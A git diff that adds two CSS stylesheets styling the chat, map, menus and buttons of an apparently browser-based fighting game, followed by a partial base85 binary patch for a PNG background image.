    + + + diff --git a/design/css/css/fight.css b/design/css/css/fight.css new file mode 100644 index 0000000..056d63f --- /dev/null +++ b/design/css/css/fight.css @@ -0,0 +1,422 @@ +* +{ + margin: 0; + padding: 0; +} +a +{ + color: #ffffff; + text-decoration: none; +} +a[class], +.ct-bt a +{ + overflow: hidden; + line-height: 100000%; + white-space: nowrap; +} +a:hover +{ + color: #ffffff; +} +a:active, +a:focus +{ + outline: none; +} +img +{ + /*display: block;*/ + border: 0; +} +ul +{ + list-style-type: none; +} +body +{ + background-color: #d5d5d5; +} +input[type="checkbox"] { + position: absolute; + left: -9999px; +} +input[type="checkbox"] + label:before { + content: ""; + display: inline-block; + width: 21px; + height: 17px; + background: url('../i/checkbox.png') no-repeat; +} +input[type="checkbox"]:checked + label:before { + background-position: 0 -17px; +} +#bk-body-top +{ + width: auto; + height: 128px; + margin: auto; + background-image: url('../i/background-top-center.png'); + background-repeat: repeat-x; + background-position: top center; + z-index: 1; +} +#bk-body-top-left +{ + width: 128px; + height: 128px; + background-image: url('../i/background-top-left.png'); + background-repeat: no-repeat; + background-position: top center; + position: absolute; + left: 0px; + z-index: 2; +} +#bk-logo-top +{ + width: 276px; + height: 36px; + background-image: url('../i/bk-logo-top.png'); + background-repeat: no-repeat; + background-position: top center; + position: absolute; + left: 0px; + z-index: 3; +} +#bk-body-top-right +{ + width: 128px; + height: 128px; + background-image: url('../i/background-top-right.png'); + background-repeat: no-repeat; + background-position: top center; + position: absolute; + right: 0px; + z-index: 2; +} +#bk-body-menu +{ + width: 500px; + height: 15px; + position: absolute; + right: 10px; + z-index: 3; +} +#bk-body-menu-button { + background-color: #3f423c; + display:block; + cursor:pointer; + width: 100px; + height: 15px; + font-size: 8pt; + opacity: 0.7; + padding-bottom: 3px; + text-align: center; + font-family: MyriadPro-Regular, 'Myriad Pro Regular', MyriadPro, 'Myriad Pro', Arial, "Helvetica CY"; + text-shadow: #1b1f15 1px 1px 0, #1b1f15 -1px -1px 0, #1b1f15 -1px 1px 0, #1b1f15 1px -1px 0; +} +#bk-body-menu-button:hover { + background-color: #bbbca9; + opacity: 0.7; +} +ul.dropdown li { text-align: center; display: table-cell; } + ul.dropdown, + ul.dropdown-inside { + list-style-type: none; + padding: 0; + } + ul.dropdown-inside { + position: absolute; + min-width: 100px; + font-size: 8pt; + font-family: MyriadPro-Regular, 'Myriad Pro Regular', MyriadPro, 'Myriad Pro', Arial, "Helvetica CY"; + left: -9999px; + } + ul.dropdown li.dropdown-top { + display: inline; + float: left; + } + + ul.dropdown li.dropdown-top a { + padding: 3px 10px 4px; + display: block; + } + ul.dropdown a.dropdown-top { background: #efefef; } + ul.dropdown a.dropdown-top:hover { padding: 2px 10px 5px; } + ul.dropdown li.dropdown-top:hover .dropdown-inside { + display: block; + left: 0; + } + ul.dropdown .dropdown-inside { background: #c3c0bb; opacity: 0.9; } + ul.dropdown .dropdown-inside a:hover { background: #3f423c; } + +#bk-body-left +{ + width: 128px; + height: 100%; + margin: auto; + background-image: url('../i/background-left.png'); + background-repeat: repeat-y; + background-position: top center; + position: absolute; + left: 0px; + z-index: 1; +} +#bk-body-right +{ + width: 128px; + height: 100%; + margin: auto; + background-image: url('../i/background-right.png'); + background-repeat: repeat-y; + background-position: top center; + position: absolute; + right: 0px; + z-index: 1; +} +#bk-chat-body +{ + width: auto; + height: 187px; + margin: auto; + background-image: url('../i/background-chat-center.png'); + background-repeat: repeat-x; + background-position: top center; + position: relative; + z-index: 1; +} +.bk-button-refresh { + background-image: url('../i/button_refresh_n.png'); + background-repeat: no-repeat; + position: absolute; + display:block; + cursor:pointer; + width: 31px; + height: 31px; + margin: 15px 0 0 250px; + z-index: 3; +} +.bk-button-refresh:hover { + background-image: url('../i/button_refresh_h.png'); +} +.bk-button-refresh:active { + background-image: url('../i/button_refresh_p.png'); +} +.bk-chat-autorefresh +{ + width: auto; + height: 17px; + margin: auto; + position: absolute; + margin: 150px 0 0 75px; + font-family: MyriadPro-Regular, 'Myriad Pro Regular', MyriadPro, 'Myriad Pro', Arial, "Helvetica CY"; + font-size: 12px; + font-stretch: ultra-condensed; + z-index: 5; +} +#bk-chat-left +{ + width: 128px; + height: 187px; + background-image: url('../i/background-chat-left.png'); + background-repeat: no-repeat; + background-position: top center; + position: absolute; + left: 0px; + z-index: 2; +} +#bk-chat-hr-left +{ + width: 40px; + height: 187px; + background-image: url('../i/background-chat-hr-left.png'); + background-repeat: no-repeat; + background-position: top center; + position: absolute; + right: 0px; + z-index: 2; +} +#bk-chat-hr-right +{ + width: 40px; + height: 187px; + background-image: url('../i/background-chat-hr-right.png'); + background-repeat: no-repeat; + background-position: top center; + position: absolute; + left: 0px; + z-index: 2; +} +#bk-chat-right +{ + width: 128px; + height: 187px; + background-image: url('../i/background-chat-right.png'); + background-repeat: no-repeat; + background-position: top center; + position: absolute; + right: 0px; + z-index: 2; +} +#bk-location-frame +{ + width: 973px; + height: 348px; + margin: auto; + background-image: url('../i/location-frame.png'); + background-repeat: no-repeat; + background-position: top center; + position: relative; + z-index: 1; +} +.city-location-container { + width: 950px; + /*margin: 0 auto;*/ + padding-top: 9px; + margin: 0 0 0 12px; +} + +.city-location-container .fireworks { + position: absolute; + left: 4px; + right: 0px; + z-index: 1500; + top: 5px; +} + +.city-location-container .fireworks #frvrks { + position:relative; +} + +.city-location-container .location-map { + position:relative; + cursor: pointer; + width: 950px; +} + +.city-location-container .location { + position: absolute; + z-index: 90; +} + +.city-location-container .location img:not([title]), +.city-location-container .location img[title=""] { + border: dashed 1px yellow; +} + +.city-location-container .location img:not([onclick]) { + border: dashed 1px red; +} + +.city-location-container .location img:hover { + -webkit-filter: drop-shadow(0px 0px 2px rgba(255,255,255,1)); + filter: url(#drop-shadow); + -ms-filter: "progid:DXImageTransform.Microsoft.Dropshadow(OffX=0, OffY=0, Color='#FFF')"; + filter: drop-shadow(0px 0px 2px rgba(255,255,255,1)); +} + +.city-location-container .footnote { + border-top: solid 1px #aaa; +} + +.city-location-container .footnote * { + font-size: 80%; +} +#bk-location-text +{ + width: 950px; + height: auto; + margin: auto; + font-family: MyriadPro-Regular, 'Myriad Pro Regular', MyriadPro, 'Myriad Pro', Arial, "Helvetica CY"; + font-stretch: ultra-condensed; + font-size:14px; + font-weight: normal; + text-align: center; +} +#bk-buttons-center +{ + width: auto; + height: 43px; + margin: auto; + background-image: url('../i/background-buttons-center.png'); + background-repeat: repeat-x; + background-position: top center; + z-index: 1; +} +#bk-buttons-left +{ + width: 128px; + height: 43px; + background-image: url('../i/background-buttons-left.png'); + background-repeat: no-repeat; + background-position: top center; + position: absolute; + left: 0px; + z-index: 2; +} +#bk-buttons-right +{ + width: 128px; + height: 43px; + background-image: url('../i/background-buttons-right.png'); + background-repeat: no-repeat; + background-position: top center; + position: absolute; + right: 0px; + z-index: 2; +} +input +{ + background-color: #37362b; + border: 0 none; + color: #e5e5e5; + margin-top: 16px; + margin-left: 20px; + font-family: MyriadPro-Regular, 'Myriad Pro Regular', MyriadPro, 'Myriad Pro', Arial, "Helvetica CY"; + font-stretch: ultra-condensed; + font-size:14px; + font-weight: normal; + text-align: left; + outline: none; +} +::-webkit-input-placeholder { /* WebKit browsers */ + color: #d4f4ed; +} +:-moz-placeholder { /* Mozilla Firefox 4 to 18 */ + color: #d4f4ed; + opacity: 1; +} +::-moz-placeholder { /* Mozilla Firefox 19+ */ + color: #d4f4ed; + opacity: 1; +} +:-ms-input-placeholder { /* Internet Explorer 10+ */ + color: #d4f4ed; +} +input {outline: none;} +input:-webkit-autofill { + -webkit-box-shadow: inset 0 0 0 50px #081524 !important; + -webkit-text-fill-color: #d4f4ed !important; + color: #d4f4ed !important; +} +input:focus::-webkit-input-placeholder +{ + color: transparent; + text-shadow: none; +} +#bk-buttons-panel +{ + position: absolute; + margin: 10px 0 0 550px; +} +*a.buttons +{ + display: inline; +} +#bk-buttons-panel-right +{ + position: absolute; + right: 0px; + margin-top: 10px; + z-index: 3; +} \ No newline at end of file diff --git a/design/css/fight.css b/design/css/fight.css new file mode 100644 index 0000000..2fc710c --- /dev/null +++ b/design/css/fight.css @@ -0,0 +1,476 @@ +* { + margin: 0; + padding: 0; +} + +a { + color: #ffffff; + text-decoration: none; +} + +a[class], .ct-bt a { + overflow: hidden; + line-height: 100000%; + white-space: nowrap; +} + +a:hover { + color: #ffffff; +} + +a:active, a:focus { + outline: none; +} + +img { + border: 0; +} + +ul { + list-style-type: none; +} + +body { + background-color: #d5d5d5; +} + +input[type="checkbox"] { + position: absolute; + left: -9999px; +} + +input[type="checkbox"] + label:before { + content: ""; + display: inline-block; + width: 21px; + height: 17px; + background: url('../i/checkbox.png') no-repeat; +} + +input[type="checkbox"]:checked + label:before { + background-position: 0 -17px; +} + +#bk-body-top { + width: auto; + height: 128px; + margin: auto; + background-image: url('../i/background-top-center.png'); + background-repeat: repeat-x; + background-position: top center; + z-index: 1; +} + +#bk-body-top-left { + width: 128px; + height: 128px; + background-image: url('../i/background-top-left.png'); + background-repeat: no-repeat; + background-position: top center; + position: absolute; + left: 0px; + z-index: 2; +} + +#bk-logo-top { + width: 276px; + height: 36px; + background-image: url('../i/bk-logo-top.png'); + background-repeat: no-repeat; + background-position: top center; + position: absolute; + left: 0px; + z-index: 3; +} + +#bk-body-top-right { + width: 128px; + height: 128px; + background-image: url('../i/background-top-right.png'); + background-repeat: no-repeat; + background-position: top center; + position: absolute; + right: 0px; + z-index: 2; +} + +#bk-body-menu { + width: 500px; + height: 15px; + position: absolute; + right: 10px; + z-index: 3; + + top: 5px; +} + +#bk-body-menu-button { + background-color: #3f423c; + display:block; + cursor:pointer; + width: 100px; + height: 15px; + font-size: 8pt; + opacity: 0.7; + padding-bottom: 3px; + text-align: center; + font-family: MyriadPro-Regular, 'Myriad Pro Regular', MyriadPro, 'Myriad Pro', Arial, "Helvetica CY"; + text-shadow: #1b1f15 1px 1px 0, #1b1f15 -1px -1px 0, #1b1f15 -1px 1px 0, #1b1f15 1px -1px 0; +} + +#bk-body-menu-button:hover { + background-color: #bbbca9; + opacity: 0.7; +} + +ul.dropdown li { text-align: center; display: table-cell; } + +ul.dropdown, ul.dropdown-inside { + list-style-type: none; + padding: 0; +} + +ul.dropdown-inside { + position: absolute; + min-width: 100px; + font-size: 8pt; + font-family: MyriadPro-Regular, 'Myriad Pro Regular', MyriadPro, 'Myriad Pro', Arial, "Helvetica CY"; + left: -9999px; +} + +ul.dropdown li.dropdown-top { + display: inline; + float: left; +} + +ul.dropdown li.dropdown-top a { + padding: 3px 10px 4px; + display: block; +} + +ul.dropdown a.dropdown-top { background: #efefef; } +ul.dropdown a.dropdown-top:hover { padding: 2px 10px 5px; } +ul.dropdown li.dropdown-top:hover .dropdown-inside { + display: block; + left: 0; +} + +ul.dropdown .dropdown-inside { background: #c3c0bb; opacity: 0.9; } +ul.dropdown .dropdown-inside a:hover { background: #3f423c; } + +#bk-body-left { + width: 128px; + height: 100%; + margin: auto; + background-image: url('../i/background-left.png'); + background-repeat: repeat-y; + background-position: top center; + position: absolute; + left: 0px; + z-index: 1; +} + +#bk-body-right +{ + width: 128px; + height: 100%; + margin: auto; + background-image: url('../i/background-right.png'); + background-repeat: repeat-y; + background-position: top center; + position: absolute; + right: 0px; + z-index: 1; +} + +#bk-chat-body +{ + width: auto; + height: 187px; + margin: auto; + background-image: url('../i/background-chat-center.png'); + background-repeat: repeat-x; + background-position: top center; + position: relative; + z-index: 1; +} + +.bk-button-refresh { + background-image: url('../i/button_refresh_n.png'); + background-repeat: no-repeat; + position: absolute; + display:block; + cursor:pointer; + width: 31px; + height: 31px; + margin: 15px 0 0 250px; + z-index: 3; +} + +.bk-button-refresh:hover { + background-image: url('../i/button_refresh_h.png'); +} + +.bk-button-refresh:active { + background-image: url('../i/button_refresh_p.png'); +} + +.bk-chat-autorefresh { + width: auto; + height: 17px; + margin: auto; + position: absolute; + margin: 150px 0 0 75px; + font-family: MyriadPro-Regular, 'Myriad Pro Regular', MyriadPro, 'Myriad Pro', Arial, "Helvetica CY"; + font-size: 12px; + font-stretch: ultra-condensed; + z-index: 5; +} + +#bk-chat-left { + width: 128px; + height: 187px; + background-image: url('../i/background-chat-left.png'); + background-repeat: no-repeat; + background-position: top center; + position: absolute; + left: 0px; + z-index: 2; +} + +#bk-chat-hr-left +{ + width: 40px; + height: 187px; + background-image: url('../i/background-chat-hr-left.png'); + background-repeat: no-repeat; + background-position: top center; + position: absolute; + right: 0px; + z-index: 2; +} + +#bk-chat-hr-right +{ + width: 40px; + height: 187px; + background-image: url('../i/background-chat-hr-right.png'); + background-repeat: no-repeat; + background-position: top center; + position: absolute; + left: 0px; + z-index: 2; +} + +#bk-chat-right +{ + width: 128px; + height: 187px; + background-image: url('../i/background-chat-right.png'); + background-repeat: no-repeat; + background-position: top center; + position: absolute; + right: 0px; + z-index: 2; +} + +#bk-location-frame { + width: 973px; + height: 348px; + margin: auto; + background-image: url('../i/location-frame.png'); + background-repeat: no-repeat; + background-position: top center; + position: relative; + z-index: 1; +} + +.loc_background { + width: 973px; + height: 348px; + margin: auto; + background-image: url('../i/location-frame.png'); + background-repeat: no-repeat; + position: relative; + top: -13px; + z-index: 1; +} + +.city-location-container { + width: 950px; + /*margin: 0 auto;*/ + padding-top: 9px; + margin: 0 0 0 12px; +} + +.city-location-container .fireworks { + position: absolute; + left: 4px; + right: 0px; + z-index: 1500; + top: 5px; +} + +.city-location-container .fireworks #frvrks { + position:relative; +} + +.city-location-container .location-map { + position:relative; + cursor: pointer; + width: 950px; + padding-top: 9px; + padding-left: 2px +} + +.city-location-container .location { + position: absolute; + z-index: 90; +} + +.city-location-container .location img:not([title]), +.city-location-container .location img[title=""] { + /*border: dashed 1px yellow;*/ +} + +.loc { + border: none; +} + +.city-location-container .location img:not([onclick]) { + border: dashed 1px red; +} + +.city-location-container .location img:hover { + -webkit-filter: drop-shadow(0px 0px 2px rgba(255,255,255,1)); + filter: url(#drop-shadow); + -ms-filter: "progid:DXImageTransform.Microsoft.Dropshadow(OffX=0, OffY=0, Color='#FFF')"; + filter: drop-shadow(0px 0px 2px rgba(255,255,255,1)); +} + +.city-location-container .footnote { + border-top: solid 1px #aaa; +} + +.city-location-container .footnote * { + font-size: 80%; +} + +#bk-location-text { + width: 950px; + height: auto; + margin: auto; + font-family: MyriadPro-Regular, 'Myriad Pro Regular', MyriadPro, 'Myriad Pro', Arial, "Helvetica CY"; + font-stretch: ultra-condensed; + font-size:14px; + font-weight: normal; + text-align: center; +} + +#bk-buttons-center { + width: auto; + height: 43px; + margin: auto; + background-image: url('http://img.old-combats.com/i/buttons/chat_bg.gif'); + background-repeat: repeat-x; + background-position: top center; + background-color: rgb(233, 233, 233); + z-index: 1; + border-left: 6px solid #6D6F5F; + border-right: 6px solid #6D6F5F; +} + +#bk-buttons-left +{ + width: 128px; + height: 43px; + background-image: url('../i/background-buttons-left.png'); + background-repeat: no-repeat; + background-position: top center; + position: absolute; + left: 0px; + z-index: 2; +} + +#bk-buttons-right +{ + width: 128px; + height: 43px; + background-image: url('../i/background-buttons-right.png'); + background-repeat: no-repeat; + background-position: top center; + position: absolute; + right: 0px; + z-index: 2; +} + +input { + background-color: #37362b; + border: 0 none; + color: #e5e5e5; + margin-top: 16px; + margin-left: 20px; + font-family: MyriadPro-Regular, 'Myriad Pro Regular', MyriadPro, 'Myriad Pro', Arial, "Helvetica CY"; + font-stretch: ultra-condensed; + font-size:14px; + font-weight: normal; + text-align: left; + outline: none; +} +::-webkit-input-placeholder { /* WebKit browsers */ + color: #d4f4ed; +} +:-moz-placeholder { /* Mozilla Firefox 4 to 18 */ + color: #d4f4ed; + opacity: 1; +} +::-moz-placeholder { /* Mozilla Firefox 19+ */ + color: #d4f4ed; + opacity: 1; +} +:-ms-input-placeholder { /* Internet Explorer 10+ */ + color: #d4f4ed; +} + +input {outline: none;} + +input:-webkit-autofill { + -webkit-box-shadow: inset 0 0 0 50px #081524 !important; + -webkit-text-fill-color: #d4f4ed !important; + color: #d4f4ed !important; +} + +input:focus::-webkit-input-placeholder { + color: transparent; + text-shadow: none; +} + +#bk-buttons-panel { + position: absolute; + margin: 10px 0 0 550px; +} + +*a.buttons { + display: inline; +} + +#bk-buttons-panel-right { + position: absolute; + right: 7px; /*0px*/ + margin-top: 2px; /*10px*/ + z-index: 3; +} +.say_ { + background-color: #FFF; + margin-bottom: 2px; + border: solid 1pt #B0B0B0; + color: #191970; + margin-top: 5px; + margin-left: 5px; + font-family: MS Sans Serif; + font-stretch: ultra-condensed; + font-size: 9pt; + font-weight: normal; + text-align: left; + outline: none; +} \ No newline at end of file diff --git a/design/i/background-buttons-center.png b/design/i/background-buttons-center.png new file mode 100644 index 0000000000000000000000000000000000000000..75e994928d716fe3879f3c599f628a1d90c0b16e GIT binary patch literal 13429 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 